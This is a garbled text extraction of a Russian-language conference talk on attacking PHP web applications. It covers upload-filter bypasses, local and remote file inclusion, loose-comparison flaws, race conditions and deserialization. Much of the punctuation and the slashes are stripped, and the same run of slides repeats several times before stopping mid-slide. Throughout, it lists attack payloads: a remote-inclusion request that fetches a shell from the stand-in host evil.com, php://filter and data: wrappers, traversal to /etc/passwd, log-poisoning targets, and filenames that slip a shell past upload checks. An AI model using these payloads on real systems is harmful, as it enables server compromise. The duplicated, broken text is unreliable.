bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
